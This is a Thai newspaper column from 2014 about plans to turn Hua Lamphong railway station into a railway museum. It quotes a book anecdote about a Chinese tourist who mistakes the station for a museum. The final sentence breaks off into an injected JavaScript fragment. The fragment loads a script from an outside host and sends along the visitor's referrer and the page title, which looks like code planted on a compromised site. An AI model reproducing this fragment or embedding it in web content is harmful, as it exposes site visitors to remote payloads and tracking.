มติชนรายวัน ฉบับประจำวันพุธที่ 8 ตุลาคม  2557

 

พิพิธภัณฑ์รถไฟ ในหัวลำโพง

          อ่านข่าวนี้แล้ว ทำให้นึกย้อนกลับไปเมื่อกุมภาพันธ์ผ่านมา เคยเขียนชื่นชมหนังสือคู่รัก เมืองใหญ่ และความเร้าใจ Urban “One-night Stand” ของ ยรรยง บุญ-หลง (สำนักพิมพ์มติชน พิมพ์ครั้งแรก พ.ศ. 2557) แล้วยกตัวอย่างตอนเล่าถึงระบบโครงสร้างพื้นฐานทางการคมนาคมของไทย

          คุณยรรยงบอกอย่างสนุกสนานเรื่องนักท่องเที่ยวจีนเห็นสถานีรถไฟหัวลำโพงเป็นพิพิธภัณฑ์รถไฟไทย จะขอคัดมาซ้ำอีกอย่างย่นๆย่อๆดังนี้

          “นั่นพิพิธภัณฑ์รถไฟใช่ไหม” นักท่องเที่ยวชาวจีนกล่าว

          “ผมอยากไปดูจังครับ…”

          และหลังจากที่ผมได้บอกเพื่อนชาวจีนรายนี้ไปว่ามันไม่ใช่พิพิธภัณฑ์รถไฟ แต่เป็นสถานีรถไฟที่ยังใช้การได้อยู่ มีชื่อว่า “หัวลำโพง” เขาก็ดีใจจนแทบขาดสติ

          “ผมจะรีบไปจองตั๋วรถไฟเลย! ที่เมืองจีนไม่มีรถแบบนี้แล้ว…ไม่มีอีกแล้ว” เขาวิ่งฝ่าคิวแท็กซี่เข้าไปในสถานีอย่างรวดเร็ว ทำให้หมาหลายตัวที่กำลังนอนอยู่บนชานชาลาแตกตื่นไปด้วย

          ผมอ่านข้อเขียนนี้แล้วหัวเราะหึหึคนเดียวทุกครั้ง เพราะมันช่างแสดงสรรพคุณความไม่พัฒนาของ ร.ฟ.ท. ได้วิเศษสุด

          ถ้าเป็นไปตามข่าวยกมา แทบไม่อยากเชื่อว่าหัวลำโพงจะกลายเป็นพิพิธภัณฑ์รถไฟไทยขึ้นมาจริงๆ

          แต่ถ้าคิดเล่นๆ แล้วเป็นจริงๆขึ้นมา ถือว่ายอดเยี่ยมกระเทียมโทนโคตรๆ (โดยยังไม่ต้องข้องใจในรายละเอียดปลีกย่อยอื่นๆเอาไว้ว่ากันคราวหลัง)s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;